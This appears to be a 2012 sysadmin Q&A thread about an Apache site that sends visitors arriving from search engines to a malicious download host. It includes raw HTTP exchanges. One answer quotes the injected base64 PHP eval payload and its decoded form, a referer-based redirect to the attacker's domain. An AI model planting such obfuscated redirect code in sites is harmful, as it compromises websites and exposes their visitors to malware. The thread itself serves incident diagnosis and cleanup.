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Nikratio
Asked: 2012-03-18 13:10:21 +0800 CST

Apache server redirecting requests from Google, compromised?

  • 772

I found something very suspicious. When connecting to www.pulseexpress.com following a Google link, the server redirects you to some very dubious site that sends you a .exe file right away:

# host www.pulseexpress.com
www.pulseexpress.com has address 173.236.189.124

# netcat 173.236.189.124 80
GET / HTTP/1.1
Host: www.pulseexpress.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.2) Gecko/20100101
Firefox/10.0.2 Iceweasel/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en-gb;q=0.8,en;q=0.6,de-de;q=0.4,de;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Referer:
http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0CDEQFjAA&url=http%3A%2F%2Fwww.pulseexpress.com%2F&ei=JfhkT_SuGYf40gG85MW_CA&usg=AFQjCNGlomNN7JWxEG7DUzbJyqnVFYkj7w&sig2=i5xsJPgIs1sbD6gpDzJ7OQ

HTTP/1.1 302 Moved Temporarily
Date: Sat, 17 Mar 2012 20:53:40 GMT
Server: Apache
Location: http://www.fdvrerefrr.ezua.com/
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/html

However, if you enter the address right into your browser, content is served normally:

# netcat 173.236.189.124 80
GET / HTTP/1.1
Host: www.pulseexpress.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.2) Gecko/20100101
Firefox/10.0.2 Iceweasel/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en-gb;q=0.8,en;q=0.6,de-de;q=0.4,de;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive

HTTP/1.1 200 OK
Date: Sat, 17 Mar 2012 20:53:51 GMT
Server: Apache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Set-Cookie: e7c55e1c7796b5e5c04e0c55afd862ea=e427sf2eh4t11jno5c4pvaal40;
path=/
Set-Cookie: virtuemart=e427sf2eh4t11jno5c4pvaal40
Set-Cookie: ja_purity_tpl=ja_purity; expires=Thu, 07-Mar-2013 20:53:53
GMT; path=/
Last-Modified: Sat, 17 Mar 2012 20:53:53 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4428
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
[...]

My guess is that this system has been compromised. Also, the attack seems to have been non-trivial, as the Apache configuration must have been modified in such a way that only some requests are redirected - probably to make it less likely for the owner to notice the problem.

Do people agree with that analysis?

Is this conditional redirection technique something new and hand-crafted, or is this a routine procedure included in standard attack software suites?

apache-2.2 security hacking

2 Answers

  1. Best Answer

    Yes, the site's been compromised, and while it's a clever hack, it's not an uncommon one, we've been seeing it extensively over the last few months. Look for .htaccess files modified in the last few days/weeks, they'll be chock full of crazy mod_rewrite rules. Secure the site, delete/edit the corrupted files (I'd say "restore from backups", but I've given up even trying to talk the sort of people who habitually run vulnerable software and leave their site's FTP passwords saved in their vulnerable desktop into having a decent backup regime), and the site will be fine again.

    • 3

  2. I just encountered this issue. The redirect code was encoded at the top of every PHP file on the site...

    <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvb2dsZSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ5YW5kZXgucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibWFpbC5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFzay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtc24iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93d3cuZmR2cmVyZWZyci5lenVhLmNvbS8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCn0="));

    ... which decoded is ...

    error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"yandex.ru") or stristr($referer,"rambler.ru") or stristr($referer,"mail.ru") or stristr($referer,"ask.com") or stristr($referer,"msn") or stristr($referer,"live")) {
    if (!stristr($referer,"cache") or !stristr($referer,"inurl")){      
        header("Location: http://www.fdvrerefrr.ezua.com/");
        exit();
    }
}
}

    You can find an explanation here ... http://forums.oscommerce.com/topic/345957-evalbase64-decode-hack/

    • 1